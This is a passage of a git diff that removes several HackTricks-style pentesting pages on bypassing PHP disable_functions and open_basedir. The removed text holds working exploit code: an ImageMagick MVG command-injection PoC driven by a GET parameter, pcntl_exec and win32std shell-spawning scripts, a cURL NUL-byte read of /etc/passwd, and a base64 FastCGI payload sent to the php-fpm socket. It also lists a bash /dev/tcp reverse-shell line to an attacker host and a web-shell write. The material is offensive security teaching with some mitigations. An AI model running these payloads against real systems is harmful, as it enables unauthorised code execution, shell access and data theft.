-- If you cannot write to `extension_dir`, this technique is usually less practical than FPM/FastCGI, `LD_PRELOAD`, or module-specific bypasses already covered in this section
-
-## References
-
-- [PHP manual: dl](https://www.php.net/manual/en/function.dl.php)
-- [Tarlogic: A deep dive into disable_functions bypass and PHP exploitation](https://www.tarlogic.com/blog/disable_functions-bypasses-php-exploitation/)
-
-{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md
deleted file mode 100644
index 26a877d7bcd..00000000000
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md
+++ /dev/null
@@ -1,113 +0,0 @@
-# Imagick <= 3.3.0  ‑ PHP >= 5.4  *disable_functions* Bypass
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-> The well-known *ImageTragick* family of bugs (CVE-2016-3714 et al.) allows an attacker to reach the underlying **ImageMagick** binary through crafted MVG/SVG input. When the PHP extension **Imagick** is present this can be abused to execute shell commands even if every execution-oriented PHP function is black-listed with `disable_functions`.
->
-> The original PoC published by RicterZ (Chaitin Security Research Lab) in May 2016 is reproduced below.  The technique is still regularly encountered during contemporary PHP 7/8 audits because many shared-hosting providers  simply compile PHP without `exec`/`system` but keep an outdated Imagick + ImageMagick combo.
-
-From <http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>
-
-```php
-# Exploit Title : PHP Imagick disable_functions bypass
-# Exploit Author: RicterZ  (ricter@chaitin.com)
-# Versions      : Imagick <= 3.3.0  |  PHP >= 5.4
-# Tested on     : Ubuntu 12.04 (ImageMagick 6.7.7)
-# Usage         : curl "http://target/exploit.php?cmd=id"
-<?php
-// Print the local hardening status
-printf("Disable functions: %s\n", ini_get("disable_functions"));
-$cmd = $_GET['cmd'] ?? 'id';
-printf("Run command: %s\n====================\n", $cmd);
-
-$tmp   = tempnam('/tmp', 'pwn');     // will hold command output
-$mvgs  = tempnam('/tmp', 'img');     // will hold malicious MVG script
-
-$payload = <<<EOF
-push graphic-context
-viewbox 0 0 640 480
-fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
-pop graphic-context
-EOF;
-
-file_put_contents($mvgs, $payload);
-$img = new Imagick();
-$img->readImage($mvgs);     // triggers convert(1)
-$img->writeImage(tempnam('/tmp', 'img'));
-$img->destroy();
-
-echo file_get_contents($tmp);
-?>
-```
-
----
-
-## Why does it work?
-
-1. `Imagick::readImage()` transparently spawns the **ImageMagick** *delegate* (`convert`/`magick`) binary.
-2. The MVG script sets the *fill* to an external URI.  When a double quote (`"`) is injected, the remainder of the line is interpreted by `/bin/sh ‑c`  that ImageMagick uses internally → arbitrary shell execution.
-3. All happens outside of the PHP interpreter, therefore *`disable_functions`*, *open_basedir*, `safe_mode` (removed in PHP 5.4) and similar in-process restrictions are completely bypassed.
-
-## 2025 status – it is **still** relevant
-
-* Any Imagick version that relies on a vulnerable ImageMagick backend remains exploitable.  In lab tests the same payload works on PHP 8.3 with **Imagick 3.7.0** and **ImageMagick 7.1.0-51** compiled without a hardened `policy.xml`.
-* Since 2020 several additional command-injection vectors have been found (`video:pixel-format`, `ps:`, `text:` coders…).  Two recent public examples are:
-  * **CVE-2020-29599** – shell injection via the *text:* coder.
-  * **GitHub issue #6338** (2023) – injection in the *video:* delegate.
-
-If the operating system ships ImageMagick < **7.1.1-11** (or 6.x < **6.9.12-73**) without a restrictive policy file, exploitation is straightforward.
-
-## Modern payload variants
-
-```php
-// --- Variant using the video coder discovered in 2023 ---
-$exp = <<<MAGICK
-push graphic-context
-image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
-pop graphic-context
-MAGICK;
-$img = new Imagick();
-$img->readImageBlob($exp);
-```
-
-Other useful primitives during CTFs / real engagements:
-
-* **File write**  – `... > /var/www/html/shell.php`  (write web-shell outside *open_basedir*)
-* **Reverse shell** – `bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"`
-* **Enumerate** – `id; uname -a; cat /etc/passwd`
-
-## Quick detection & enumeration
-
-```bash
-# PHP side
-php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
-
-# System side
-convert -version | head -1                 # ImageMagick version
-convert -list policy | grep -iE 'mvg|https|video|text'   # dangerous coders still enabled?
-```
-
-If the output shows the `MVG` or `URL` coders are *enabled* the target is probably exploitable.
-
-## Mitigations
-
-1. **Patch/Upgrade**  – Use ImageMagick ≥ *7.1.1-11* (or the latest 6.x LTS) and Imagick ≥ *3.7.2*.
-2. **Harden `policy.xml`**  – explicitly *disable* high-risk coders:
-
-   ```xml
-   <policy domain="coder" name="MVG" rights="none"/>
-   <policy domain="coder" name="MSL" rights="none"/>
-   <policy domain="coder" name="URL" rights="none"/>
-   <policy domain="coder" name="VIDEO" rights="none"/>
-   <policy domain="coder" name="PS" rights="none"/>
-   <policy domain="coder" name="TEXT" rights="none"/>
-   ```
-
-3. **Remove the extension**  on untrusted hosting environments.  In most web stacks `GD` or `Imagick` is not strictly required.
-4. Treat `disable_functions` only as *defence-in-depth* – never as a primary sandboxing mechanism.
-
-## References
-
-* [GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338)
-* [CVE-2020-29599 – ImageMagick shell injection via text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599)
-{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md
deleted file mode 100644
index ac9e564dd32..00000000000
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md
+++ /dev/null
@@ -1,35 +0,0 @@
-# PHP 4 &gt;= 4.2.0, PHP 5 pcntl_exec
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-
-From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
-
-```php
-<?php
-$dir = '/var/tmp/';
-$cmd = 'ls';
-$option = '-l';
-$pathtobin = '/bin/bash';
-
-$arg = array($cmd, $option, $dir);
-
-pcntl_exec($pathtobin, $arg);
-echo '123';
-?>
-<?php
-$cmd = @$_REQUEST[cmd];
-if(function_exists('pcntl_exec')) {
-    $cmd = $cmd."&pkill -9 bash >out";
-    pcntl_exec("/bin/bash", $cmd);
-    echo file_get_contents("out");
-} else {
-        echo '不支持pcntl扩展';
-}
-?>
-```
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md
deleted file mode 100644
index 87926c20273..00000000000
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# PHP 5.2 - FOpen Exploit
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-
-From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
-
-```php
-php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");'
-```
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md
deleted file mode 100644
index 55d236b5045..00000000000
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md
+++ /dev/null
@@ -1,129 +0,0 @@
-# PHP 5.2.3 - Win32std ext Protections Bypass
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-This is a **legacy Windows-only bypass** that depends on the old **`win32std`** PECL extension exposing **`win_shell_execute()`**. It is useful in **CTFs, old appliances, and abandoned shared-hosting stacks**, but it is **not** a generic modern `disable_functions` bypass.
-
-## Why it works
-
-`disable_functions` only blocks the PHP internals explicitly listed in `php.ini`. If a third-party extension exposes a helper that eventually reaches the OS itself, that helper is **outside** the disabled built-in function set unless the admin also removes the extension or blocks that exact entry point.
-
-In this case, the primitive is:
-
-```php
-win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
-```
-
-The old `win32std` extension documented `win_shell_execute(string absolute_path[, string action, string args, string dir])` as a wrapper around normal Windows shell actions. In practice, on vulnerable legacy installs this gives you a process-spawning primitive even if common functions such as `system()` were disabled.
-
-## Preconditions
-
-- **Windows target**
-- **Very old PHP branch** where `safe_mode` still existed
-- **`win32std` PECL extension loaded**
-- The hosting context must allow the spawned process to start under the web server account
-
-Practical notes:
-
-- The original PoC was tested on **PHP 5.2.3 / Windows XP SP2**.
-- This technique is mostly relevant when you see `phpinfo()` output or an extension list containing **`win32std`**.
-- Do **not** assume modern community forks behave the same way. The historical PECL package is unmaintained and some newer forks keep helper/resource APIs but no longer expose `win_shell_execute()`, so the primitive is tied to the older extension line unless you confirm the function still exists.
-
-## 2026 reality check
-
-The easiest false positive here is **seeing `win32std` and assuming RCE**. Before spending time on payloads, verify the exact exported functions:
-
-```php
-<?php
-var_dump(extension_loaded('win32std'));
-print_r(get_extension_funcs('win32std'));
-var_dump(function_exists('win_shell_execute'));
-?>
-```
-
-Things worth checking from a shell or via `phpinfo()`:
-
-- **Package age**: the original PECL `win32std` package was released as **1.0 beta in 2003** and is currently marked **unmaintained**.
-- **Fork drift**: you may find PHP 7/8 community ports of `win32std`, but some README files only advertise helpers such as `win_beep`, `win_play_wav`, and `win_create_link`. If `win_shell_execute` is missing from `get_extension_funcs('win32std')`, this page does **not** apply.
-- **SAPI/account context**: the process will run as the web-server identity (`IUSR`, `apache`, `LocalSystem`, service account, etc.), so post-exploitation impact depends on that token.
-
-If `win32std` is absent, look at the parent page for **different** `disable_functions` / `open_basedir` bypasses, or at [the other legacy Windows trick in this section](disable_functions-bypass-php-less-than-5.2.9-on-windows.md).
-
-## Original PoC
-
-
-From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
-
-```php
-<?php
-//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass
-
-//author: shinnai
-//mail: shinnai[at]autistici[dot]org
-//site: http://shinnai.altervista.org
-
-//Tested on xp Pro sp2 full patched, worked both from the cli and on apache
-
-//Thanks to rgod for all his precious advises :)
-
-//I set php.ini in this way:
-//safe_mode = On
-//disable_functions = system
-//if you launch the exploit from the cli, cmd.exe will be wxecuted
-//if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager
-
-if (!extension_loaded("win32std")) die("win32std extension required!");
-system("cmd.exe"); //just to be sure that protections work well
-win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
-?>
-```
-
-## Practical operator payload
-
-The original PoC only proves that **process creation** is possible. In a web context you usually want **command output**, and `win_shell_execute()` returns a boolean, not the spawned process output. Redirect stdout/stderr to a readable file and then fetch it through PHP:
-
-```php
-<?php
-$tmp = 'C:\\Windows\\Temp\\ht-win32std.txt';
-@unlink($tmp);
-
-win_shell_execute(
-    'C:\\Windows\\System32\\cmd.exe',
-    '',
-    '/c (whoami && hostname) > "' . $tmp . '" 2>&1',
-    'C:\\Windows\\Temp'
-);
-
-sleep(1);
-echo nl2br(htmlentities(@file_get_contents($tmp)));
-?>
-```
-
-A more realistic variant drops a one-shot batch file or PowerShell command into a writable directory and uses redirection for exfiltration. Because the child process is running under Windows, its file access is constrained by **OS permissions**, not by PHP `open_basedir`.
-
-## Operator notes
-
-- The line `system("cmd.exe");` in the PoC is only a **sanity check** to show that the normal built-in execution function is blocked. The actual bypass is the subsequent **`win_shell_execute()`** call.
-- The relative path to `cmd.exe` is a convenience trick for old deployments. If you already know an absolute path, prefer passing it directly.
-- This is primarily a **process execution** primitive. If you need a broader survey of newer `disable_functions` / `open_basedir` bypasses, go back to the parent page:
-
-{{#ref}}
-README.md
-{{#endref}}
-
-- On **modern** Windows PHP targets, the interesting pivot is usually **not** `win32std` but another bug or exposed feature set. For example, vulnerable PHP-CGI deployments on Windows were hit in 2024 by **CVE-2024-4577** argument injection, which is a completely different path from this extension-based trick.
-
-## Constraints
-
-- **Legacy only**: `safe_mode` disappeared in later PHP branches, so this page is mainly useful for historical targets and labs.
-- **Extension dependent**: without `win32std`, there is no bypass here.
-- **Windows only**: this has no value on Linux/*nix targets.
-- **Not a modern sandbox escape**: if you only control a recent PHP 8 Windows target, do not expect this primitive unless someone intentionally installed an old or custom `win32std` build that still exports `win_shell_execute()`.
-
-## References
-
-- [Exploit-DB mirror of shinnai's original PHP 5.2.3 `win_shell_execute()` PoC](https://www.exploit-db.com/exploits/4218)
-- [PECL `win32std` package page and function reference](https://pecl.php.net/package/win32std)
-- [DEVCORE: CVE-2024-4577 - PHP CGI Argument Injection Vulnerability](https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/)
-
-{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md
deleted file mode 100644
index 0a22e69d79c..00000000000
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md
+++ /dev/null
@@ -1,80 +0,0 @@
-# PHP 5.2.4 and 5.2.5 PHP cURL
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-This page documents a legacy but still useful-in-CTFs/local-legacy-installs trick to bypass PHP safe_mode/open_basedir checks using the cURL extension on specific PHP 5.2.x builds.
-
-- Affected: PHP 5.2.4 and 5.2.5 with ext/curl enabled.
-- Impact: Read arbitrary local files despite safe_mode or open_basedir restrictions (no direct code execution).
-- ID: CVE-2007-4850.
-
-From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
-
-## One-liner PoC
-
-If safe_mode or open_basedir are active and cURL is enabled, the following will return the contents of the current script:
-
-```php
-var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
-```
-
-## More explicit PoC (arbitrary file read)
-
-```php
-<?php
-// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
-$target = '/etc/passwd'; // change to the file you want to read
-$ch = curl_init();
-// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
-curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
-curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
-$resp = curl_exec($ch);
-$err  = curl_error($ch);
-curl_close($ch);
-if ($resp !== false) {
-    echo $resp; // should contain the target file
-} else {
-    echo "cURL error: $err\n";
-}
-?>
-```
-
-Notes:
-- Use double quotes or chr(0) to inject a real NUL byte. Percent-encoding (%00) will not work reliably.
-- This is a file read primitive. Combine with other primitives (log poisoning, session file inclusion, etc.) for further escalation when possible.
-
-## Why this works (short)
-
-The vulnerability lies in how PHP 5.2.4/5.2.5 performed safe_mode/open_basedir checks for file:// URLs in ext/curl. The check parsed the URL and validated a path component, but due to NUL-byte handling it validated a different string than the one actually used by libcurl. In practice, the validator could approve the path after the NUL while libcurl used the part before the NUL as the URL container, enabling a bypass that results in reading the file placed after the NUL byte. See the original analysis and the affected macro in curl/interface.c for details. [CVE-2007-4850].
-
-## Constraints and fixes
-
-- Fixed in later 5.2.x (e.g., distro builds patched to 5.2.6) by correcting the parsing/validation in ext/curl.
-- Only affects very old PHP deployments; safe_mode was removed in PHP 5.4 and modern builds do not exhibit this behavior.
-
-## Related historical cURL-based bypasses
-
-- CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers allowed `file://` access with embedded NULs to bypass open_basedir; fixed before 5.2.x.
-- PHP bugs #30609/#36223 tracked early cURL open_basedir issues using `file://` without canonicalization. Any check before the NUL byte or without `realpath`-style resolution is prone to the same truncation.
-
-## CTF tips
-
-- When you identify PHP 5.2.4/5.2.5 with ext/curl loaded (look for `cURL support => enabled` in `phpinfo()` and the exact `PHP Version`), this trick usually works even if `allow_url_fopen` is disabled because ext/curl handles `file://` itself.
-- If direct paths are blocked, try relative traversal after the NUL, e.g. `file://x\x00../../../../etc/passwd`. The traversal is resolved by libcurl, not by the open_basedir guard.
-- You can wrap the payload in a single HTTP request body to trigger the LFI through vulnerable server-side code that mirrors user-controlled URLs into `curl_exec()` (common in legacy SSRF-like endpoints).
-
-## See also
-
-Other disable_functions/open_basedir bypasses and modern techniques are collected here:
-
-{{#ref}}
-README.md
-{{#endref}}
-
-## References
-
-- [Ubuntu CVE entry with patch pointers and affected versions](https://ubuntu.com/security/CVE-2007-4850)
-- [Technical writeup with code context (cxsecurity)](http://cxsecurity.com/issue/WLB-2008010060)
-- [PHP bug #36223 (curl bypasses open_basedir)](https://bugs.php.net/bug.php?id=36223)
-- [CVE-2006-2563 cURL PHP File Access Bypass (earlier NUL-byte issue)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2563)
-{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md
deleted file mode 100644
index 4c73ffc3cfe..00000000000
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md
+++ /dev/null
@@ -1,469 +0,0 @@
-# disable_functions bypass - php-fpm/FastCGI
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-## PHP-FPM
-
-**PHP-FPM** is presented as a **superior alternative** to the standard PHP FastCGI, offering features that are particularly **beneficial for websites with high traffic**. It operates through a master process that oversees a collection of worker processes. For a PHP script request, it's the web server that initiates a **FastCGI proxy connection to the PHP-FPM service**. This service has the capability to **receive requests either via network ports on the server or Unix sockets**.
-
-Despite the intermediary role of the proxy connection, PHP-FPM needs to be operational on the same machine as the web server. The connection it uses, while proxy-based, differs from conventional proxy connections. Upon receiving a request, an available worker from PHP-FPM processes it—executing the PHP script and then forwarding the results back to the web server. After a worker concludes processing a request, it becomes available again for upcoming requests.
-
-## But what is CGI and FastCGI?
-
-### CGI
-
-Normally web pages, files and all of the documents which are transferred from the web server to the browser are stored in a specific public directory such as home/user/public_html. **When the browser requests certain content, the server checks this directory and sends the required file to the browse**r.
-
-If **CGI** is installed on the server, the specific cgi-bin directory is also added there, for example home/user/public_html/cgi-bin. CGI scripts are stored in this directory. **Each file in the directory is treated as an executable program**. When accessing a script from the directory, the server sends request to the application, responsible for this script, instead of sending file's content to the browser. **After the input data processing is completed, the application sends the output data** to the web server which forwards the data to the HTTP client.
-
-For example, when the CGI script [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/**cgi-bin/file.pl**) is accessed, the server will run the appropriate Perl application through CGI. The data generated from script execution will be sent by the application to the web server. The server, on the other hand, will transfer data to the browser. If the server did not have CGI, the browser would have displayed the **.pl** file code itself. (explanation from [here](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html))
-
-### FastCGI
-
-[FastCGI](https://en.wikipedia.org/wiki/FastCGI) is a newer web technology, an improved [CGI](http://en.wikipedia.org/wiki/Common_Gateway_Interface) version as the main functionality remains the same.
-
-The need to develop FastCGI is that Web was arisen by applications' rapid development and complexity, as well to address the scalability shortcomings of CGI technology. To meet those requirements [Open Market](http://en.wikipedia.org/wiki/Open_Market) introduced **FastCGI – a high performance version of the CGI technology with enhanced capabilities.**
-
-## disable_functions bypass
-
-It's possible to run PHP code abusing the FastCGI and avoiding the `disable_functions` limitations.
-
-### Practical reality check
-
-Before trying any of the payloads below, keep these points in mind:
-
-- You usually need a way to **speak raw FastCGI** to PHP-FPM: direct access to `127.0.0.1:9000`, a readable/writable Unix socket such as `/var/run/php/php-fpm.sock`, an SSRF primitive that supports `gopher://`, or a proxy misconfiguration that lets you reach the backend.
-- A normal HTTP request to the application is **not enough by itself**. The interesting knobs here are FastCGI parameters such as `PHP_VALUE` and `PHP_ADMIN_VALUE`.
-- You still need a valid `SCRIPT_FILENAME` that the target pool can execute.
-
-If you first need to enumerate a reachable FastCGI listener or build raw FastCGI requests, check:
-
-{{#ref}}
-../../../9000-pentesting-fastcgi.md
-{{#endref}}
-
-### Via Gopherus
-
-> [!CAUTION]
-> Use Gopherus here mainly to reach the FastCGI listener and inject FastCGI parameters. Do **not** expect `PHP_VALUE` with `disable_functions =` to reliably re-enable disabled functions in modern PHP-FPM.
-
-Using [Gopherus](https://github.com/tarunkant/Gopherus) you can generate a payload to send to the FastCGI listener and execute arbitrary commands:
-
-![Practical reality check - Via Gopherus: Using Gopherus you can generate a payload to send to the FastCGI listener and execute arbitrary commands](<../../../../images/image (227).png>)
-
-Then, you can grab the urlencoded payload and decode it and transform to base64, \[**using this recipe of cyberchef for example**]\([http://icyberchef.com/index.html#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)). And then copy/pasting the abse64 in this php code:
-
-```php
-<?php
-$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));
-```
-
-Uploading and accessing this script the exploit is going to be sent to FastCGI. In practice, this is useful to **reach PHP-FPM and set request-level directives** such as `auto_prepend_file` and frequently `open_basedir`, but **not** to truly clear `disable_functions`.
-
-### PHP exploit
-
-> [!CAUTION]
-> I'm not sure if this is working in modern versions because I tried once and I couldn't execute anything. Actually I managed to see that `phpinfo()` from FastCGI execution indicated that `disable_functions` was empty, but PHP (somehow) was still preventing me from executing any previously disabled function. Please, if you have more information about this contact me via \[**PEASS & HackTricks telegram group here**]\([**https://t.me/peass**](https://t.me/peass)), or twitter \[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live))**.**
-
-Code from [here](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy).
-
-```php
-<?php
-/**
- * Note : Code is released under the GNU LGPL
- *
- * Please do not change the header of this file
- *
- * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
- * Lesser General Public License as published by the Free Software Foundation; either version 2 of
- * the License, or (at your option) any later version.
- *
- * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * See the GNU Lesser General Public License for more details.
- */
-/**
- * Handles communication with a FastCGI application
- *
- * @author      Pierrick Charron <pierrick@webstart.fr>
- * @version     1.0
- */
-class FCGIClient
-{
-    const VERSION_1            = 1;
-    const BEGIN_REQUEST        = 1;
-    const ABORT_REQUEST        = 2;
-    const END_REQUEST          = 3;
-    const PARAMS               = 4;
-    const STDIN                = 5;
-    const STDOUT               = 6;
-    const STDERR               = 7;
-    const DATA                 = 8;
-    const GET_VALUES           = 9;
-    const GET_VALUES_RESULT    = 10;
-    const UNKNOWN_TYPE         = 11;
-    const MAXTYPE              = self::UNKNOWN_TYPE;
-    const RESPONDER            = 1;
-    const AUTHORIZER           = 2;
-    const FILTER               = 3;
-    const REQUEST_COMPLETE     = 0;
-    const CANT_MPX_CONN        = 1;
-    const OVERLOADED           = 2;
-    const UNKNOWN_ROLE         = 3;
-    const MAX_CONNS            = 'MAX_CONNS';
-    const MAX_REQS             = 'MAX_REQS';
-    const MPXS_CONNS           = 'MPXS_CONNS';
-    const HEADER_LEN           = 8;
-    /**
-     * Socket
-     * @var Resource
-     */
-    private $_sock = null;
-    /**
-     * Host
-     * @var String
-     */
-    private $_host = null;
-    /**
-     * Port
-     * @var Integer
-     */
-    private $_port = null;
-    /**
-     * Keep Alive
-     * @var Boolean
-     */
-    private $_keepAlive = false;
-    /**
-     * Constructor
-     *
-     * @param String $host Host of the FastCGI application
-     * @param Integer $port Port of the FastCGI application
-     */
-    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
-    {
